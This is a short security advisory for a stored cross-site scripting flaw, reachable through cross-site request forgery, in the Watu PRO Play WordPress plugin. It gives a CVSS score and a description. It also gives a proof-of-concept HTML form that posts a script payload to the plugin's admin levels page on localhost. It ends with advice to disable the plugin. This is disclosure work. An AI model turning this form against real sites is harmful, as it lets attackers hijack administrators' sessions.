Advisory report: https://security.dxw.com/advisories/stored-xss-in-watu-pro-play-allows-unauthenticated-attacker-to-do-almost-anything-an-admin-can/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)
Description
================
Stored XSS in Watu PRO Play allows unauthenticated attackers to do almost anything an admin can
Vulnerability
================
An attacker able to convince an admin to visit a link of their choosing (e.g. via a phishing attack) is able to execute arbitrary JavaScript. This makes use of a CSRF vulnerability (no nonce protection on the levels form)
Proof of concept
================
If a logged-in administrator user clicks the submit button on this form, a JavaScript alert will display on /wp-admin/admin.php?page=watuproplay_levels (in a real attack the form can be made to auto-submit using JavaScript):
<form action=\"http://localhost/wp-admin/admin.php?page=watuproplay_levels&action=add\" method=\"POST\">
<input type=\"text\" name=\"name\" value=\"<script>alert(1)</script>\">
<input type=\"text\" name=\"ok\" value=\"1\">
<input type=\"submit\">
</form>

================
Disable the plugin until a new version is released that fixes this bug
